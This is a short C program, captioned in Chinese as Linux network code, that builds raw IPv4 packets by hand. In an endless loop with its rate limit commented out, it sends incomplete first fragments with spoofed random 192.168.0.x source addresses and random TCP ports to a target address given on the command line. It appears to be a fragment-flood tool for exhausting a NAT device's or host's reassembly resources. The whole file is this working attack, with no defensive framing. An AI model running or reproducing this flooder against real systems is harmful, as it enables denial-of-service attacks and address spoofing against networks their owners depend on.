nat.c

一个linux下面的几个网络程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <sys/time.h>



int 	create_raw_socket(void);
int 	send_frag_ip_pkt(int);
u_short in_cksum(u_short *, int);

static u_short ip_id = 0x789;
static char    *dst_addr = "1.1.1.1";

int main(int argc, char *argv[])
{
	int sock = create_raw_socket();
	int n = 0;

	if(argc>=2) {
		dst_addr = argv[1];
	}

	srand(time(NULL));

	while(1) {

		printf("%d: Sending IP packet ... ", n++);
		fflush(stdout);
		if(send_frag_ip_pkt(sock)<0) {
			perror("sendto");
			return -1;
		}

		printf("done\n");
/*
		if( (n%1256)==0 ) 
			sleep(1);
*/
	}

	close(sock);

	return 0;
}

int create_raw_socket(void)
{
	int	sock;
	int	on = 1;

	sock = socket(AF_INET, SOCK_RAW,  IPPROTO_ICMP);
	if(sock<0) {
		perror("socket");
		exit(1);
	}

	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))<0) {
		perror("setsockopt");
		exit(1);
	}

	return sock;
}

int send_frag_ip_pkt(int sd)
{
	struct  sockaddr_in sin;
	char	buf[256];
	char	local_addr[32];
	struct	iphdr	    *iph;
	u_short *port;
	
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(dst_addr);
	sin.sin_port = 0;

	sprintf(local_addr, "192.168.0.%u", 1 + ((unsigned)rand())%253 );

	iph = (struct iphdr *)buf;
	iph->ihl	= 5;
	iph->version	= 4;
	iph->tos	= 0;
	iph->tot_len	= sizeof(buf);
	iph->id		= ip_id++;
	iph->frag_off	= htons(IP_MF);
	iph->ttl	= 255;
	iph->protocol	= IPPROTO_TCP;
	iph->check	= 0;
	iph->saddr	= inet_addr(local_addr);
	iph->daddr	= inet_addr(dst_addr);
	
	iph->check 	= in_cksum((u_short *)buf, 20);

	port = (u_short *)(buf + sizeof(struct iphdr));
	*port = (u_short)rand();
	port ++;
	*port = (u_short)rand();

	return sendto(sd, buf, sizeof(buf), 0,  
                      (struct sockaddr *)&sin, 
                      sizeof(sin));
}



u_short in_cksum(u_short *addr, int len)
{
	int	nleft = len;
	int	sum   = 0;
	u_short *w = addr;
	u_short answer = 0;

	while(nleft > 1) {
		sum += *w;
		w++;
		nleft -= 2;
	}

	if(nleft == 1) {
		*(unsigned char *)(&answer) = *(unsigned char *)w;
		sum += answer;
	}

	sum = (sum>>16) + (sum & 0xffff);
	sum += (sum>>16);
	
	answer = ~sum;

	return answer;
}